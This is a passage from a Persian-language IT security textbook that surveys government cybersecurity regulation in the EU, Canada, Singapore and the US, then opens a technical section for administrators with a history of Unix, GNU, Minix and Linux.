در بسیاری از کشورها سیاستگذاران به این نتیجه رسیده‌اند که فشار بازار مصرف به تنهایی برای کاهش مؤثر تهدیدات امنیت الکترونیکی کافی نیست و همانطور که کمیسیون اروپا یادآور شد دخالت دولت نیز در این مسئله ضروری می‌باشد، چراکه بازار مصرف انگیزهٔ کافی برای بذل توجه لازم به مقولهٔ امنیت را ایجاد نمی‌کند: قیمتهای بازار همواره بازتاب دقیق سود و زیان سرمایه‌گذاری بر روی امنیت نیست؛ و معمولاً نه تولیدکنندگان و نه مصرف‌کنندگان هیچکدام نمی‌توانند تمام پیامدهای رکود ناشی از بی‌توجهی به معیارهای امنیتی را تحمل کنند؛ از طرف دیگر کنترل بر اینترنت پراکنده است و با درنظر گرفتن پیچیدگی شبکه‌ها، ارزیابی خطرات بالقوه برای کاربران مشکل می‌باشد. بسیاری از زیرساختهای حیاتی که وابستگی شدیدی به سیستمهای رایانه‌ای دارند، از تاریخچه‌ای طولانی از قوانین – نظیر ضوابط ایمنی، رقابت و تأثیرات محیطی – برخوردارند. امروزه قانونگذاران بطور فزآینده‌ای امنیت سایبر را در فهرست مواردی که باید مورد توجه دولتها قرار بگیرند می‌آورند.

با اینحال مقررات مخاطره‌آمیز هستند. اینترنت از بعضی جهات بعنوان یک وسیلهٔ ارتباطی تقریباً بی‌قانون شناخته شده است. بطور کلی روند جهانی در اواخر دههٔ گذشته در جهت قانون‌زدایی شبکه‌های ارتباطی بوده است. رقابت و نوآوری،

88 *Anonymity*
89 *The Legitimity of Anonymous Communications*
90 *Authentication*
91 *Encryption*

حامی توسعهٔ خدمات و فناوریهای جدید هستند، و منابع را کاهش و دسترسی به فناوری ارتباطی را افزایش میدهند. زمانیکه فناوری به سرعت درحال تغییر است، قوانین دولتی سد راه اجرای راه‌حلهای ابتکاری امنیتی می‌شوند.

درنتیجه این سؤال اساسی مطرح می‌شود که بهترین روش برای ارتقای سطح امنیت چیست؟ بطور کلی بعنوان یک اصل اساسی، دولت نباید ضوابط فناوری را به گردانندگان و زیرساختهای حیاتی بخش خصوصی تحمیل کند. افراد زیادی باور دارند که دستورالعملها و ضوابط مرتبط با فناوری بی‌تأثیر و حتی گاهی زیان‌آور هستند.

در عوض یک رویکرد برای اینکار تحمیل الزامات کلی حفظ امنیت است. این رویکرد که از مفهوم حفاظت از حریم خصوصی برخاسته بود، در تمامی بخشهایی که داده‌های شخصی را جمع‌آوری و پردازش می‌کردند اجباری شد. رویکرد دیگر تمرکز بر بخشهای خاص اقتصادی است. بعنوان مثال ایالات متحده در ضوابطی که برای حریم خصوصی در بخشهای خدمات بهداشتی و خدمات مالی وضع کرده، الزاماتی نیز برای حفاظت از امنیت داده‌های شخصی گنجانده است. سنگاپور هم روی خدمات مالی تمرکز کرده؛ اما نه از دیدگاه حفاظت از حریم خصوصی – خط‌مشی‌های امنیت الکترونیکی سنگاپور در خصوص اداره‌های خدمات مالی مستقیماً به نگرانیهای امنیتی پرداخته‌اند و نه تهدیدات حریم خصوصی. همچنین روشهای مختلفی برای تبدیل الزامات کلی امنیت به مراحل امنیتی گام به گام وجود دارد. یک رویکرد برای قوانین امنیت الکترونیکی دولت، تأکید بر فرآیندها به جای فناوریها می‌باشد. رویکرد دیگر تهیهٔ خط‌مشی‌ها است. این رویکردها می‌توانند مکمل یکدیگر باشند.

اروپا اعمال قوانین امنیتی جدید را در تمامی بخشهایی که اطلاعات شخصی را جمع‌آوری و پردازش می‌کنند آغاز کرده است. مادهٔ ۱۷ دستورالعمل حفاظت داده‌های اتحادیهٔ اروپا دارندگان داده‌های شخصی را ملزم می‌کند که برای حفاظت از آن داده‌ها در برابر تخریب، تغییر، افشاسازی یا دسترسی غیرقانونی (بویژه زمانی که این فرآیند شامل انتقال داده‌ها میان شبکه‌ها باشد) اقدامات سازمانی و فنون مناسب را بکار گیرند. این دستورالعمل همچنین اظهار می‌دارد "چنین اقداماتی باید سطح مناسبی از امنیت را در برابر مخاطرات طبیعی پردازش داده‌ها بکار گیرند". کانادا رویکرد مشابهی را درپیش گرفته است. در این کشور، بر اساس *مصوبهٔ حفاظت از اطلاعات شخصی و مدارک الکترونیکی*[92] شرکتهای بخش خصوصی موظفند برای حفاظت از اطلاعات شخصی تدابیر امنیتی خاصی بیاندیشند.

اتحادیهٔ اروپا دستورالعمل مفصل‌تری را به چاپ رسانده است که به قوانین مربوط به حفاظت در صنعت ارتباطات الکترونیکی می‌پردازد. مادهٔ ۴ این دستورالعمل مشخص می‌سازد که یک ارائه‌کننده خدمات ارتباطات الکترونیکی "باید اقداماتی را برای حفاظت از امنیت خدمات خود و درصورت لزوم خدمات ارائه‌کنندگان ارتباطات عمومی شبکه (با توجه به امنیت شبکه) انجام دهد." دوم اینکه ارائه‌کنندگان ارتباطات عمومی الکترونیکی، باید به مشترکین در مورد هر نوع تهدید امنیتی هشدار دهند و "زمانی که خطر در خارج از حیطه قدرت و اختیار ارائه‌کنندگان خدمات است هر نوع تغییر از جمله هزینه‌های احتمالی را درنظر بگیرند."

چگونه این الزامات کلی عملی می‌شوند؟ سنگاپور در این مورد یک رویکرد خاص دارد. *مقامات مالی سنگاپور* (MAS)[93] یکسری پیشنهادات جامع امنیت الکترونیکی را در رهنمونهای *مدیریت خطرات فناوری*[94] برای مؤسسات مالی اعلام کردند. این رهنمونها بدنبال ارتقا و بهبود فرآیندهای صحیح در مدیریت خطرات فناوری و کاربرد رویکردهای امنیتی بود اما رعایت آن برای کسی اجباری نداشت. درعوض همانطور که در خط‌مشی‌ها ذکر شده: "مقامات مالی سنگاپور بنا دارند این رویکردها را در نظارت بر ارزیابی تهدیدات فناوری و معیارهای امنیتی مؤسسات مالی وارد کنند. هر مؤسسه درصورت اجرای این خط‌مشی‌ها از طرف MAS صاحب منافع ویژه‌ای خواهد شد، و به این ترتیب مؤسسات مالی به تلاش برای هماهنگی با خط‌مشی‌ها تشویق شده‌اند." این خط‌مشی‌ها باید بعنوان استانداردی برای مؤسسات به حساب بیایند. فهرست ذیل در مورد شیوه‌های امنیتی مؤسسات مالی "باید"هایی را بر می‌شمارد:

- سیستمهای نرم‌افزاری و دیواره‌های آتش باید به بالاترین درجهٔ امنیت مورد نیاز مجهز شوند، و در جهت

92 *Personal Information Protection And Electronic Documents Act*
93 *Monetary Authority of Singapore*
94 *Technology Risk Management Guideline*

تقویت، به‌روزرسانی و اقدامات پیشنهادی دیگر از طرف فروشندگان سیستم گام بردارند؛

- تمامی رمزهای عبور اولیه در سیستمهای جدید باید فوراً پس از نصب تغییر داده شوند؛ چراکه مهاجمین در حد وسیعی از آنها آگاهی دارند؛
- دیواره‌های آتش باید در میان شبکه‌های داخلی و خارجی و همچنین در میان پایگاههایی که از نظر جغرافیایی مجزا هستند نصب شوند؛ و
- نرم‌افزارهای ضدویروس باید نصب و اجرا گردند.

ایالات متحده روش متفاوتی را در پیش گرفته که بر فرآیندها تکیه دارد و نه بر شیوه‌های مبتنی بر فناوری. بنابراین قانون *مدرن‌سازی خدمات مالی*[95] (مصوب سال ۱۹۹۹؛ که با عنوان طرفداران اصلی آن در کنگره، مصوبهٔ Gramm - Leach - Biley شناخته می‌شود) اظهار می‌دارد که "هر مؤسسه مالی مسئولیت مداومی برای احترام به حریم خصوصی خریداران خود دارد و باید از امنیت و محرمانگی اطلاعات شخصی و غیرعمومی خریداران خود حفاظت کند." بر مبنای این قانون، گردانندگان مؤسسات مالی نیازمند تصویب قوانین مدیریتی و فنی و همچنین انجام حفاظت فیزیکی برای امنیت اطلاعات می‌باشند. نکته مهم اینجاست که این ضوابط مشخص نکرده‌اند که چه اجزای فنی برای حفاظت مورد نیاز است؛ لذا در این مورد قانون تصمیم در مورد اقدامات امنیتی خاص را به سازمان واگذار کرده است.

بر مبنای این قانون دستورالعملهای مصوب سازمانهای قانونگذار برای صنایع خدمات مالی توسط بانکها اجرا می‌شوند. قانون، اقدامات فنی مقتضی را تعیین نمی‌کند، بلکه می‌گوید که برنامهٔ امنیتی باید شامل موارد ذیل باشد:

- تهدیدهای داخلی و خارجیِ قابل پیش‌بینی که منجر به افشاسازی غیرقانونی، سوء استفاده، تغییر و یا انهدام اطلاعات خریداران یا سیستمهای اطلاعاتی خریداران است را مشخص سازد.
- احتمال و پتانسیل به فعلیت نرسیدن این تهدیدها را با توجه به حساسیت اطلاعات خریداران ارزیابی نماید.
- کفایت سیاستها، فرآیندها، سیستمهای اطلاعات خریداران و سایر اقدامات کنترل مخاطره را ارزیابی کند.

برنامه‌های امنیت اطلاعات برای کنترل مخاطرات طراحی شده‌اند و با حساسیت، پیچیدگی، و حوزهٔ تأثیرگذاری اطلاعات متناسب هستند. برای اجرای قوانین به دستهٔ وسیعی از تدابیر امنیتی نیاز است که باید بصورت صحیح بکار گرفته شوند. این تدابیر عبارتند از:

- کنترل دسترسی به سیستمهای اطلاعات خریداران (تصدیق هویت و مجوزهای دسترسی)؛
- محدودیت دسترسی به مکانهای فیزیکی؛
- رمزگذاری اطلاعات الکترونیکی خریداران؛
- تغییر روالهای مدیریتی؛
- استفاده از روالهای کنترل دوگانه (سیاست جداسازی وظایف و بررسی سوابق) برای کارمندانی که به اطلاعات خریدران، دسترسی دارند؛
- *سیستمهای نظارت بر نفوذ*[96]؛
- *برنامه‌های واکنش به نفوذ*[97]؛ و
- پیش‌بینی تدابیری برای حفاظت در برابر تخریب، دستکاری، یا حذف اطلاعات خریداران.

علاوه بر این، بر مبنای این قوانین کارکنان باید برای اجرای برنامه‌های امنیتی آموزش ببینند. بررسی منظم این کنترلها، سیستمها و روالها باید با توجه به تغییرات فناوری، حساسیت اطلاعات مشتریان، تهدیدات اطلاعاتی داخلی و خارجی، و تغییر برنامه‌ریزی کاری سازمان مثل ادغام یا اتحاد با سازمانی دیگر، و یا انجام کار توسط افراد یا شرکتهای خارج از سازمان انجام گیرد. این قوانین هیأت مدیرهٔ مؤسسات مالی را ملزم می‌کنند که برنامه‌های کتبی امنیت سازمان خود را تأیید نمایند و بر طراحی، پیاده‌سازی و پشتیبانی طرح (شامل مسئولیت اجرای طرح و بررسی گزارشهای مدیریتی) نظارت کنند. قوانین مشابه کمیسیون تجارت ملی، مؤسسات مالی تحت قلمرو خود را به تهیهٔ طرحی وادار می‌کند که در آن مؤسسات باید:

- یک یا چند کارمند را برای تأمین امنیت انتخاب کنند؛

95 *Financial Services Modernization*

96 *Intrusion Monitoring Systems*
97 *Intrusion Response Programs*

- در هر بخش از حوزه‌های عملیاتی شرکت مخاطراتی که اطلاعات خریداران را تهدید می‌کند مشخص و ارزیابی کنند و اثربخشی سیستم کنونی برای کنترل آن مخاطرات را ارزیابی نمایند؛
- یک برنامهٔ حفاظتی را طراحی و اجرا کنند و آنرا بطور منظم مورد آزمایش و اصلاح قرار دهند؛
- ارائه‌کنندگان مناسب خدمات را انتخاب و با آنها برای پیاده‌سازی سیستمهای امنیتی قرارداد ببندند؛ و
- برنامه‌ها را در شرایط واقعی (مثل تغییر ساختار یا عملیات سازمان) ارزیابی و اصلاح کنند و با توجه به نتایج آزمایش، فرآیند نظارت را نیز ارزیابی و اصلاح نمایند.

رویکرد مشابهی در *قانون مسئولیت بیمهٔ خدمات درمانی ایالات متحده*[98] به چشم می‌خورد که مؤسسات خدمات بهداشتی را ملزم می‌کند که معیارهای امنیتی را پیاده‌سازی کنند تا مطمئن شوند اطلاعات بیمار که بصورت الکترونیکی ذخیره شده همواره محرمانه و دور از دسترسی غیرقانونی باقی می‌ماند. طبق این قانون مؤسسات ملزم به پشتیبانی مناسب و قابل قبول از امنیت راهبری، فیزیکی و فنی هستند تا یکپارچگی و محرمانگی پرونده‌های پزشکی اشخاص در مقابل تهدیدات امنیتی پیش‌بینی‌شده و دسترسی غیرمجاز حفظ شوند. این قانون برای ذخیره و انتقال داده‌ها اعمال می‌شود و دارای ۲۸ استاندارد و ۴۱ شرح پیاده‌سازی است. این قانون اظهار می‌دارد که فرآیندها و روالهای امنیتی باید به قابلیتهای فنی سیستمهای ثبت، هزینهٔ اقدامات امنیتی، نیاز آموزشی کارکنان، و ارزش بررسی دنباله‌های ردگیری در محیطهای رایانه‌ای را درنظر داشته باشند. قوانین امنیتی، عملیات حفاظتی که "لازم" و "قابل توجه" هستند را شناسایی می‌کنند. نکات اصلی قوانین امنیتی که باید مورد توجه مؤسسات واقع شوند، عبارتند از:

- از محرمانگی، یکپارچگی و در دسترس بودن اطلاعاتی که توسط مؤسسه ایجاد، دریافت، نگهداری یا انتقال داده می‌شوند حصول اطمینان کنید؛
- از سیستم در مقابل تهدیداتی که امنیت یا یکپارچگی اطلاعات را به خطر می‌اندازد محافظت کنید؛
- از هر کاربرد و افشای اطلاعاتی که طبق ضابطه امنیتی قابل توجیه نیست جلوگیری نمایید؛ و
- از هماهنگی نیروی کار با قوانین امنیتی اطمینان یابید.

با اینحال این قانون قابل انعطاف است:

- مؤسسات مشمول می‌توانند از معیارهای امنیتی استفاده کنند تا بطور منطقی و مناسب این استانداردها را پیاده‌سازی نمایند؛
- در تصمیم‌گیری در مورد اینکه معیارهای امنیتی مورد استفاده چه باشند، باید موارد زیر را درنظر گرفت:
  - اندازه، پیچیدگی، و گسترهٔ آن؛
  - زیرساخت فنی، سخت‌افزار، و قابلیت امنیتی نرم‌افزار؛
  - هزینهٔ استفاده از تدابیر امنیتی؛ و
  - احتمال و حساسیت هریک از مخاطرات.

رویکرد دیگر شرکتها را ملزم می‌کند که بطور عمومی، ضعفها و عیوب را برای ارتقای عملکرد سیستم و ارتقای سطح امنیت، منتشر سازند. قوانین اتحادیهٔ اروپا ارائه‌کنندگان خدمات مخابراتی را ملزم می‌کند که مشترکان را از خطراتی که بواسطهٔ تخلف امنیتی در شبکه آنها را تهدید می‌کند (و همچنین هزینهٔ احتمالی آن) آگاه نمایند. بعنوان مثال در جولای ۲۰۰۳ در ایالت کالیفرنیا قانونی تصویب شد که طبق آن هر شرکتی که اطلاعات شخصی ساکنان کالیفرنیا را نگهداری می‌کند، موظف به آگاه ساختن آنان از مخاطرات احتمالی حاصل از نقض امنیت و متعاقباً دسترسی غیرقانونی به آن اطلاعات می‌باشد.

98 *United State's Health Insurance Portability and Accountability Act*

امنیت فناوری اطلاعات و راهبران فنی

بخش پنجم

فصل اول
مقدمه

خلاصه بخشهای ۱ تا ۴

حال که به فنی‌ترین کتاب رسیده‌ایم، مروری بر آنچه در بخشهای ۱ تا ۴ دربارهٔ آن بحث شد مفید خواهد بود. به یاد می‌آوریم که:

بخش ۱ کتاب یک معرفی اجمالی از مسائل کلی امنیت در عصر دیجیتال ارائه کرد. این بخش گسترهٔ مسائل امنیت IT و برخی اعمال تخاصم‌آمیز در محیط رایانه‌ها و شبکه‌ها را شرح داد، و مشخص کرد که چرا خط مشی‌ها و دانش امنیتی برای افراد، مؤسسات اقتصادی، یا سایر کاربران ضروری است.

بخش ۲ به نگرانیهای عام کاربران شخصی، منابع رایانه‌ای و شبکه اشاره داشت. این بخش مسائل کلیدی امنیت انفرادی را در بر گرفت و خط‌مشی‌هایی فنی ارائه داد که اگر درست بکار روند، تهدید نفوذ امنیتی را به حداقل می‌رسانند.

بخش ۳ جوانب راهبری و سیاستگذاری امنیت را از دیدگاه سازمانی پوشش داد. در این فصل گفتیم با فرصتهایی که رسانه‌های دیجیتالی جدید ارائه می‌نمایند، بنگاههای اقتصادی کوچک و متوسط (SMEها) در کشورهای درحال توسعه به طرف نقطه‌ای حرکت می‌کنند که در توسعهٔ بازارهای فعلی جهان تأثیرگذار شوند. وجود سیاستهای مناسب و اجرای تأثیرگذار فرآیندهای امنیتی، مخاطرهٔ از دست دادن اطلاعات بصورت تصادفی و عمدی را به حداقل خواهد رساند و ابزارهایی را برای شناسایی حمله‌ها و ترمیم نقایص امنیتی فراهم می‌کند. همچنین لازم است سیاستهای امنیتی در حوزه SMEها، عناصری چون سیاستهای تصدیق هویت کاربران در محیطهای تعاملی از قبیل تجارت الکترونیکی، معاملات الکترونیکی و دولت الکترونیکی را نیز در بر بگیرد. این بخش پیشنهاداتی داشت مبنی بر اینکه چگونه می‌توان مقررات امنیتی مستحکم را در حوزهٔ محیطهای سازمانی حاکم کرد و گسترش داد.

بخش ۴ روی مسائل امنیتی و ابتکارهای قانونگذاری تأکید دارد؛ و بیان می‌کند که این مسائل باید در سطح دولت درک شود و به اجرا درآید. دولت علاوه بر ایمن‌سازی سرمایه‌های اطلاعاتی خود، موظف است برای ایمن‌سازی و حفاظت از زیرساختهای ملی اطلاعات نیز سیاستگذاری کند. دولتها همچنین باید پیش‌بینی کنند که رشد زیرساخت اطلاعات روی نظام حقوقی آنها چه تأثیری خواهد داشت. این بخش برخی از سؤالات کلیدی که سیاستگذاران و رهبران در دنیای درحال توسعه با آن مواجه هستند را مشخص می‌کند و نمونه‌هایی از سیاستهای جامعه جهانی را ارائه می‌نماید که می‌توانند بعنوان راهنما برای کسانی که درگیر تلاشهای جدید قانونگذاری برای *فضای مجازی*[1] هستند بکار آید.

خلاصهٔ بخش پنجم همراه نکاتی در مورد پیشینهٔ فنی

بخش ۵ با هدف کمک به راهبران سیستم و شبکه برای انجام مؤثر وظایفشان تهیه شده است. این بخش اطلاعاتی مشروح دربارهٔ مسائل امنیتی که لازم است در سطح فنی بالا درک و پیگیری شوند ارائه می‌کند، از جمله:

- دسته‌بندی تهدیدهای امنیتی، شامل روشهای حمله که برای نفوذ به سیستمها و برنامه‌ها بکار می‌روند.

1 *Cyber Space*

- کنترل ترافیک سیستمهای حساس و شبکه بگونه‌ای که فعالیتهای انجام‌شده برای حمله بتوانند شناسایی و درصورت امکان دفع شوند.
- ارزشگذاری نتایج ارزیابیهای امنیتی در زمانیکه سیاستها و فرآیندها درحال تولید شدن هستند و تحلیل نتایج *ثبتها*[۲] و سایر مدارک جاری بعد از پیاده‌سازی آن معیارهای امنیتی.
- مقابله با یک حمله، ترمیم یک نفوذ، و یادگیری از تجربیات گذشته.

بخش ۵ با چهار بخش دیگر این کتاب از آن جهت تفاوت دارد که فرض می‌کند خواننده از سطح معینی از اطلاعات فنی برخوردار است. علیرغم اینکه مفاهیم به وضوح شرح داده شده‌اند و هرجا که امکان داشته مثالهائی ارائه شده‌اند، با اینحال این بخش برای افرادی طراحی شده است که تجربهٔ کافی کار با سیستم و راهبری آن دارند (یا حداقل بسیار علاقه‌مند به آن هستند). به خوانندگان علاقه‌مند توصیه می‌شود از ضمائم کتاب که به مآخذ ارزشمند فراوانی در زمینهٔ نگهداری رایانه و شبکه اشاره دارد استفاده نمایند.

نظر به اینکه مسائل امنیتی معمولاً به محیطهای عملیاتی رایانه مربوط هستند، بخش ۵ شامل قسمتهایی خواهد بود که مسائل امنیتی شناخته‌شدهٔ سیستم‌عاملهای عمده که امروزه مورد استفاده هستند را مورد بحث قرار می‌دهد. گرچه قسمت عمدهٔ بخش ۵ تا جایی که امکان داشته غیر وابسته به سیستمها است، اما گاهی ارجاع‌هایی نیز به سیستم‌عاملهای Microsoft Windows، Unix، Linux، Mac OS X، و سایر گونه‌های *Unix رومیزی*[۳] داده شده است. در همهٔ موارد توصیه‌های روشنی درباره اقداماتی که می‌توان و باید برای جلوگیری از به‌تسخیر درآمدن منابع سیستمی انجام داد وجود دارد.

Unix

سیستم‌عاملهای Unix و شبه Unix متنوعی وجود دارند (که گاه کاملاً با هم متفاوتند) و توسط فروشندگان متفاوتی توزیع می‌شوند. دلیل این مسئله و تأثیرات آن مستلزم یک مرور مختصر تاریخی است.

ریشه‌های Unix باز می‌گردد به طرح Multics در اواسط سالهای ۱۹۶۰. این پروژه که بوسیله سازمان طرحهای تحقیقاتی پیشرفته وزارت دفاع ایالت متحده (DARPA یا ARPA) سرمایه‌گذاری شد برای آن طراحی شده بود که یک سیستم یکپارچه متشکل از بانکهایی باشد که حاوی پردازشگرها، حافظه، و تجهیزات ارتباطی با سرعت بالا بودند. براساس این طراحی، بخشی از رایانه می‌تواند بدون آنکه روی دیگر قسمتها یا کاربران تأثیر بگذارد، برای تعمیرات خاموش شود. گرچه امروز این قابلیت به سادگی میسر است، اما هنگامی که Multics شروع به کار کرد چنین قابلیتی وجود نداشت. Multics بگونه‌ای طراحی شد که هم در برابر حملات بیرونی مقاوم باشد و هم کاربران داخلی سیستم را از یکدیگر حفاظت کند. Multics با هدف پشتیبانی مفهوم *امنیت چندسطحی*[۴] طراحی شد. Multics بالاخره سطحی از امنیت و خدمات را فراهم کرد که هنوز هم بسیاری از سیستمهای رایانه‌ای به آن نرسیده‌اند.

درحالیکه Multics سعی داشت کارهای زیادی انجام دهد، Unix تلاش می‌کرد یک کار را خوب انجام دهد: اجرای برنامه‌ها. "امنیت قوی" بخشی از این هدف نبود. این سیستم براساس برنامه‌های فشرده‌سازی‌شده موسوم به *ابزارها*[۵] کار می‌کرد که هرکدام عملیات منحصر به فردی را انجام می‌دادند. شرکت *تلفن و تلگراف آمریکا* (AT&T)[۶] در خلال سالهای دههٔ ۱۹۷۰ ابزارها و ویژگیهائی به آن اضافه کرد. در سال ۱۹۷۳ *تامسون*[۷] بیشتر برنامه‌های Unix را به زبان برنامه‌نویسی C که *ریچی*[۸] به تازگی آنرا ابداع کرده‌بود بازنویسی کرد. زبان C طوری طراحی شده بود که یک زبان برنامه نویسی ساده و جابجایی‌پذیر باشد. برنامه‌های نوشته شده به زبان C می‌توانستند به سادگی از یک نوع رایانه به نوع دیگر منتقل شوند، همانطور که اینکار در زبانهای

2 *Logs*
3 *Desktop Unix*
4 *Multilevel Security*
5 *Tools*
6 *American Telephone & Telegraph*
7 *Thompson*
8 *Ritchie*

برنامه‌نویسی سطح بالا مثل Fortran انجام‌پذیر بود. با اینحال این برنامه‌ها تقریباً با سرعت برنامه‌هایی که مستقیماً به زبان بومی ماشین کدگذاری می‌شوند اجرا می‌شدند. تا سال ۱۹۷۷ بیش از ۵۰۰ اداره از برنامهٔ سیستم‌عامل استفاده می‌کردند؛ ۱۲۵ اداره عبارت بودند از دانشگاههای ایالات متحده و بیش از ۱۰ کشور خارجی دیگر.

توسعه در نقاط مختلفی ادامه یافت؛ از جمله دانشگاه کالیفرنیا در برکلی، که *گسترش نرم‌افزار برکلی* (BSD)[9] – مجموعه‌ای از برنامه‌ها و تغییرات در سیستم Unix – را منتشر کرد. در ۶ سال بعدی، در فعالیتی که توسط ARPA روی آن سرمایه‌گذاری شد، آنچه تا آنزمان Unix BSD نامیده می‌شد تا حد و اندازه‌های یک سیستم‌عامل مستقل رشد کرد و باعث اصلاحات چشمگیری در سیستم‌عامل AT&T شد. شاید مهمترین اصلاحات برکلی در زمینهٔ شبکه بود، که اتصال رایانه‌های Unix را به *شبکه‌های محلی* (LANها)[10] آسان می‌کرد. به همه این دلایل، Unix نسخهٔ برکلی در جوامعِ تحقیقاتی و علمی رواج بسیار پیدا کرد.

در اواخر سالهای ۱۹۸۰ زمانیکه Unix از کاربردهای فنی به بازارهای تجاری راه پیدا کرد، ناسازگاریهای میان نسخه‌های سیستم‌عامل Unix AT&T و سیستم‌عامل مبتنی بر Unix BSD شروع به ایجاد مشکلات برای همهٔ فروشندگان نمود. مشتریان تجاری خواهان یک نسخه استاندارد Unix بودند، به این امید که بتوانند هزینه‌های آموزش را کاهش دهند و قابلیت جابجایی نرم‌افزار میان رایانه‌های ساخته‌شده بوسیلهٔ فروشنده‌های مختلف را تضمین کنند. همچنین بازار نوظهور نرم‌افزارهای کاربردی Unix یک استاندارد می‌طلبید، چون فروشندگان باور داشتند که اینکار پشتیبانیِ بسترهای چندگانه را برای آنها ساده‌تر می‌کند و همچنین با بازار رو به رشد مبتنی بر رایانه‌های شخصی رقابت می‌نماید.

در ماه می ۱۹۸۸، هفت شرکت پیشرو در صنعت Unix – *رایانه آپولو*[11]، *شرکت تجهیزات دیجیتالی*[12]، *هیولت پاکارد* (HP)[13]، IBM، و سه شرکت اصلی اروپایی سازنده کامپیوتر – تشکیل *بنیاد نرم‌افزار باز* (OSF)[14] را اعلام کردند. هدف OSF بیرون آوردن Unix از کنترل AT&T و قراردادن آن در دستان یک ائتلاف غیرانتفاعی صنعتی بود، که با هدایت توسعهٔ Unix در آینده و در دسترس قرار دادن آن برای عموم – تحت یک گواهینامهٔ واحد – رهبری می‌شد. OSF تصمیم گرفت پایهٔ Unix خود را براساس پیاده‌سازی IBM قرار دهد، پس به سمت هستهٔ Unix *ماخ*[15] از دانشگاه *کارنی ملون*[16]، که آمیزه‌ای از کتابخانه‌ها و تسهیلات HP و IBM و شرکت تجهیزات دیجیتالی بود حرکت کرد. علیرغم اینکه نتیجهٔ این فعالیتها مورد پذیرش و استقبال گسترده واقع نشد، OSF به فعالیتهای بیشتر توسعه‌ای ادامه داد.

GNU

ریچارد استالمن[17] برنامه‌نویس پروژه LISP در آزمایشگاه هوش مصنوعی دانشگاه وقتی دید شرکتهایی که برای به استفاده رساندن تحقیقات تأسیس شده‌بودند قوانینی را پذیرفتند که مانع به اشتراک‌گذاری رایگان نرم‌افزار بود بسیار ناراحت شد. استالمن متوجه شد که اگر بخواهد نرم‌افزار خود را میان گروه بزرگی از مردم به اشتراک بگذارد، نمی‌تواند اساس اینکار را بر سخت‌افزار خاصی که تنها توسط تعداد کمی از کارخانه‌های سازنده ساخته شده بودند و تنها LIPS را اجرا می‌کردند پایه‌گذاری کند. لذا به جای اینکار او تصمیم گرفت انجمن نرم‌افزاری جدیدی را براساس Unix، یک سیستم‌عامل قدرتمند که مشابه سیستم قبلی و نیز آینده‌دار بود پایه‌ریزی کند. او طرح خود را GNU نامید؛ یک مخفف بازگشتی از عبارت "GNU Unix نیست"![18] از نظر استالمن رایگان بودن تنها معیار هزینه نبود، بلکه یک معیار آزادی هم بود. آزاد بودن به این مفهوم بود که او اختیار داشت که متن برنامه را

9 *Berkeley Software Distribution*
10 *Local Area Networks*
11 *Apollo Computer*
12 *Digital Equipment Corporation*
13 *Hewlett Packard*
14 *Open Software Foundation*
15 *Mach*
16 *Carnegie Mellon University*
17 *Richard Stallman*
18 *GNU's Not Unix*

بازبینی کند و در آن اعمال تغییرات نماید و همچنین آزاد باشد که بتواند نسخه‌هایی از برنامه را میان دوستانش به اشتراک بگذارد. او آزادی نرم‌افزار را آنگونه می‌خواست که در آزادی بیان مطرح است، نه در آزادی مشروبات الکلی. تا سال ۱۹۸۵ اولین محصول عمدهٔ GNU – ویرایشگر متن Emacs – به نقطه‌ای از رشد رسید که می‌توانست توسط افراد دیگری غیر از استالمن هم به راحتی استفاده شود. بعد از آن استالمن کار روی یک کامپایلر آزاد C را شروع کرد؛ GNU C. هردوی این برنامه‌ها تحت *گواهینامهٔ عمومی GNU* (GPL)[19] استالمن توزیع شدند. این گواهینامه، به توسعه‌دهندگان حق انتشار متن برنامه و اعمال تغییرات شخصی را می‌داد، مشروط بر آنکه همهٔ تغییرات آتی در برنامه، تحت محدودیتهای همان گواهینامه قبلی منتشر شوند. همان سال استالمن *بنیاد نرم‌افزار آزاد*[20] را تأسیس کرد؛ بنیادی غیرانتفاعی که هدایای مردمی را جمع‌آوری می‌کرد و برای استخدام برنامه‌نویسانی که نرم‌افزارهای با قابلیت انتشار مجدد می‌نوشتند استفاده می‌نمود.

Unix و Minix

تقریباً در همان زمانی که استالمن پروژهٔ GNU را شروع کرد، پروفسور *اندرو اس. تاننبام*[21] تصمیم گرفت پیاده‌سازی خودش از سیستم‌عامل Unix را برای استفاده در تدریس و تحقیق پدید آورد. از آنجا که همهٔ برنامه از ابتدا نوشته می‌شد او می‌توانست آزادانه متن برنامه را در کتاب درسی خود منتشر و یک سیستم‌عامل عملیاتی را توزیع کند، بدون اینکه حق امتیازی به AT&T پرداخت نماید. این سیستم، Minix، بر اساس نمونه‌های مشابه رایانه‌های شخصی IBM PC AT عمل می‌کرد و به پردازشگرهای مبتنی بر Intel مجهز بود. این طرح منجر به پدید آمدن یک بستر نرم‌افزاری پایدار و مستندسازی‌شده و همچنین یک کتاب درسی عالی سیستم‌عامل شد. با اینحال "کارآمدی" در طراحی Minix یک معیار اساسی نبود، و این امر در کنار مسائل رعایت حق کپی مربوط به کتاب درسی باعث شد Minix برای استفاده روزمره در گسترهٔ وسیع، گزینهٔ خوبی از آب درنیاید.

در سال ۱۹۹۱ یک دانشجوی علوم رایانهٔ فنلاندی به نام *لینوس تروالدز*[22] تصمیم گرفت یک نسخهٔ آزاد سیستم‌عامل Unix که برای استفادهٔ روزمره مناسبتر باشد پدید آورد. تروالدز با شروع از برنامهٔ Minix، گام به گام هستهٔ مرکزی و سیستم فایلها را دوباره پیاده‌سازی کرد تا اینکه سیستم جدیدی بدست آورد که هیچیک از برنامه‌های اصلی تاننبام در آن نبود. تروالدز سیستم بدست آمده را "Linux" نامید و تصمیم گرفت آنرا تحت گواهینامهٔ GPL استالمن توزیع کند. تروالدز با ترکیب سیستم خود با سایر ابزارهای رایگان موجود خصوصاً کامپایلر C و ویرایشگر متن GNU بنیاد نرم‌افزار آزاد و سرویس‌دهندهٔ Windows کنسرسیوم X، توانست یک سیستم‌عامل کامل و عملیاتی ایجاد کند. کار روی Linux تا به امروز توسط صدها کمک‌کننده همچنان ادامه دارد.

NetBSD, FreeBSD, OpenBSD

